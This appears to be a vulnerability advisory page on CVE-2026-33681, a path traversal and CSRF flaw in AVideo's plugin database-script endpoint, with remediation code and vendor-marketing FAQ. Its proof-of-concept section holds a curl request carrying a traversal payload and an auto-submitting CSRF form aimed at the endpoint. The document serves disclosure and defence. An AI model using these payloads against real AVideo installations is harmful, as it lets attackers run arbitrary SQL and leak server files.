Summary
The objects/pluginRunDatabaseScript.json.php endpoint accepts a name parameter via POST and passes it to Plugin::getDatabaseFileName() without any path traversal sanitization. This allows an authenticated admin (or an attacker via CSRF) to traverse outside the plugin directory and execute the contents of any install/install.sql file on the filesystem as raw SQL queries against the application database.
Details
The vulnerable data flow:
1. Entry point, objects/pluginRunDatabaseScript.json.php:21:
$fileName = Plugin::getDatabaseFileName($_POST['name']);
2. "Sanitization", objects/plugin.php:343-354:
public static function getDatabaseFileName($pluginName)
{
global $global;
$pluginName = AVideoPlugin::fixName($pluginName); // line 347, no-op
$dir = $global['systemRootPath'] . "plugin";
$filename = $dir . DIRECTORY_SEPARATOR . $pluginName . DIRECTORY_SEPARATOR . "install" . DIRECTORY_SEPARATOR . "install.sql";
if (!file_exists($filename)) {
return false;
}
return $filename;
}
3. The "fix", plugin/AVideoPlugin.php:3184-3190:
public static function fixName($name)
{
if ($name === 'Programs') {
return 'PlayLists';
}
return $name; // Returns input unchanged for all other values
}
4. SQL execution, objects/pluginRunDatabaseScript.json.php:24-36:
$lines = file($fileName);
foreach ($lines as $line) {
// ...
if (!$global['mysqli']->query($templine)) {
$obj->msg = ('Error performing query \'<strong>' . $templine . '\': ' . $global['mysqli']->error);
die($templine.' '.json_encode($obj)); // Leaks file content + SQL error
}
}
The sibling endpoint pluginRunUpdateScript.json.php correctly routes through AVideoPlugin::loadPlugin() which sanitizes the name with preg_replace('/[^0-9a-z_]/i', '', $name) at AVideoPlugin.php:395. The vulnerable endpoint bypasses this sanitization entirely.
Additionally, the endpoint lacks CSRF token validation. The related pluginImport.json.php properly checks isGlobalTokenValid(), but pluginRunDatabaseScript.json.php does not, making it exploitable via cross-site request forgery against an authenticated admin.
PoC
Step 1: Direct exploitation (as admin)
# Traverse to another plugin's install.sql (e.g., from CustomPlugin to LiveLinks)
curl -s -b "PHPSESSID=<admin_session>" \
-d "name=../plugin/LiveLinks" \
"https://target.com/objects/pluginRunDatabaseScript.json.php"
This resolves to: {root}/plugin/../plugin/LiveLinks/install/install.sql and executes its SQL.
Step 2: CSRF exploitation (no direct admin access needed)
Host the following HTML on an attacker-controlled page and trick an admin into visiting it:
<html>
<body>
<form action="https://target.com/objects/pluginRunDatabaseScript.json.php" method="POST" id="csrf">
<input type="hidden" name="name" value="../../attacker-controlled-path" />
</form>
<script>document.getElementById('csrf').submit();</script>
</body>
</html>
Step 3: Information disclosure via error messages
If the traversed SQL file contains invalid SQL, lines 32-33 leak the raw file content in the error response:
{"error":true,"msg":"Error performing query '<strong>FILE CONTENT HERE': MySQL error..."}
Impact
- SQL injection via file inclusion: An attacker can execute arbitrary SQL from any
install/install.sqlfile reachable via path traversal, potentially creating admin accounts, modifying data, or extracting sensitive information. - Information disclosure: SQL execution errors leak raw file contents and MySQL error messages in the HTTP response.
- CSRF amplification: The lack of CSRF protection means an external attacker can exploit this vulnerability by tricking an admin into visiting a malicious page, without needing direct admin credentials.
- Chaining potential: If combined with any file-write primitive (e.g., GHSA-v8jw-8w5p-23g3, the plugin ZIP extraction RCE), an attacker can write a malicious
install.sqlfile and then execute it via this endpoint.
Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files. Typical impact: unauthorized file read or write outside the intended directory.
CVE-2026-33681 has a CVSS score of 7.2 (High). The vector is network-reachable, high privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. No fixed version is listed yet, so configuration controls and monitoring matter more in the interim.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Remediation advice
Apply the same sanitization used by loadPlugin() to strip path traversal characters, and add CSRF token validation:
// In objects/pluginRunDatabaseScript.json.php, after line 14:
// Add CSRF protection
if (!isGlobalTokenValid()) {
die('{"error":"' . __("Invalid token") . '"}');
}
// Sanitize plugin name before use (line 21)
$pluginName = trim(preg_replace('/[^0-9a-z_]/i', '', $_POST['name']));
$fileName = Plugin::getDatabaseFileName($pluginName);
Alternatively, fix AVideoPlugin::fixName() to apply proper sanitization for all callers:
public static function fixName($name)
{
if ($name === 'Programs') {
$name = 'PlayLists';
}
return trim(preg_replace('/[^0-9a-z_]/i', '', $name));
}
Frequently Asked Questions
- What is CVE-2026-33681? CVE-2026-33681 is a high-severity path traversal vulnerability in wwbn/avideo (composer), affecting versions <= 26.0. No fixed version is listed yet. Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files.
- How severe is CVE-2026-33681? CVE-2026-33681 has a CVSS score of 7.2 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of wwbn/avideo are affected by CVE-2026-33681? wwbn/avideo (composer) versions <= 26.0 is affected.
- Is there a fix for CVE-2026-33681? No fixed version is listed for CVE-2026-33681 yet. Monitor the advisory for updates and apply mitigations in the interim.
- Is CVE-2026-33681 exploitable, and should I be worried? Whether CVE-2026-33681 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-33681 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-33681? No fixed version is listed yet. In the interim: Resolve the canonical path after applying any user-supplied input, and verify it remains within the intended directory before accessing it.